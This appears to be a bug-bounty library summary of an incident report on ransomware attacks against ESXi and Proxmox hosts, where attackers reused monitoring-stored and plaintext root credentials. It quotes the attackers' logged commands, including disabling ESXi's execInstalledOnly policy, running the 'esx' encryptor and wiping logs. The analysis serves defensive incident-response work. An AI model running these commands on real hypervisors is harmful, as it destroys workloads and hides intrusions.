# Virtualization security: attack layers and misconfiguration impact

Ransomware crews abused overprivileged PRTG monitoring credentials and plaintext root notes to SSH into ESXi and Proxmox hosts, encrypting whole virtual environments.

- Payout: Real-world hack
- Severity: critical
- Program: VMware
- Analysis by: Rauf Johari
- Disclosed: 2026-11-06
- Write-up quality: 6/10
- Original: https://securelist.com/virtualization-security-esxi-and-proxmox-ransomware-cases/121819/
- Library page: https://bugbountylibrary.com/r/blog%3Asecurelist-com-virtualization-security-esxi-and-proxmox-ransomware-cases-121819
- Tags: area:cloud domain:infra impact:funds-loss impact:mass-exploit impact:rce kind:incident platform:threat-intel sev:critical tech:linux vuln:misconfiguration vuln:privilege-escalation vuln:secrets-leak

**Target:** Hypervisor management plane (PRTG monitoring, ESXi SSH, Proxmox API/VNC websocket)
**Root cause:** Monitoring platform held reusable ESXi root credentials and admin workstation notes stored Proxmox root password in plaintext, giving attackers direct privileged access to hypervisors without any escape exploit.
**Steps:**
1. Attacker gains access to PRTG monitoring environment holding ESXi credentials
2. SSH as root to ESXi hosts sharing the same password
3. Upload `esx` binary; initial run blocked by execInstalledOnly
4. `chmod 777 esx` then `./esx /log`
5. `esxcli system settings advanced set -o /User/execInstalledOnly -i 0` to disable policy; on second host `nohup ./esx /p /vmfs/ /depth 5 /log /wipe`
6. For Proxmox: read plaintext root credentials from admin workstation notes, log in as root@pam, open `GET /api2/json/nodes/******/vncwebsocket?port=5900&vncticket=****` and deploy ransomware
**How found:** Incident response: UserAssist artifacts showed AnyDesk and GMER execution on a domain controller segment; ESXi timelines revealed root SSH sessions, binary uploads and execInstalledOnly changes; Proxmox logs showed root@pam VNC websocket access.
**Exploitation:** Case 1: after compromising the PRTG monitoring server, attacker reused the stored ESXi root password over SSH across multiple hosts, disabled execInstalledOnly, executed the BlackNevas encryption binary and wiped logs. Case 2: The Gentlemen group harvested plaintext Proxmox root credentials from a compromised admin workstation, authenticated as root@pam, used VNC websockets to control nodes, and encrypted the entire cluster.
**Escalation:** Single monitoring/endpoint compromise pivoted to fleet-wide hypervisor root, enabling encryption of all hosted workloads and anti-forensic log deletion.
**Insight:** Monitoring platforms like PRTG store hypervisor credentials at device/group level — treat the monitoring server as privileged infrastructure and check whether its stored root password is reused across hosts; also grep admin workstation notes files for plaintext hypervisor root logins.

## Proof of concept (copied exactly from the original report)

**ESXi root disables execInstalledOnly and runs malware**

```
2025-10-19 During an SSH session by root from IP 192.168.*.*, the file esx is uploaded to the system.
2025-10-19 User "root" attempts to execute the binary esx with the error "Execution of non-installed file prevented".
 chmod 777 esx
 ./esx /log
2025-10-19 User "root" deactivates the execInstalledOnly option.
 esxcli system settings advanced set -o 
 /User/execInstalledOnly -i 0
```

**Second ESXi host malware execution and log wipe**

```
2025-10-19 SSH connection by user "root" from IP 172.16.*.*.
2025-10-19 User "root" executes the malware esx and clears the logs.
 chmod a+x esx && chmod 777 esx
 ./esx /selftest
 nohup ./esx /p /vmfs/ /depth 5 /log /wipe
 ./esx /depth 5 /log /wipe
```

**Proxmox root VNC websocket access logs**

```
root@pam [01/08/2026:00:28:36 -0400] "GET /api2/json/nodes/******/vncwebsocket?port=5900&vncticket=****
root@pam [01/08/2026:00:30:17 -0400] "GET /api2/json/nodes/******/vncwebsocket?port=5900&vncticket=****
root@pam [01/08/2026:00:31:19 -0400] "GET /api2/json/nodes/******/vncwebsocket?port=5900&vncticket=****
root@pam [01/08/2026:00:43:38 -0400] "GET /api2/json/nodes/******/vncwebsocket?port=5900&vncticket=****
root@pam [01/08/2026:00:44:49 -0400] "GET /api2/json/nodes/******/vncwebsocket?port=5900&vncticket=****
```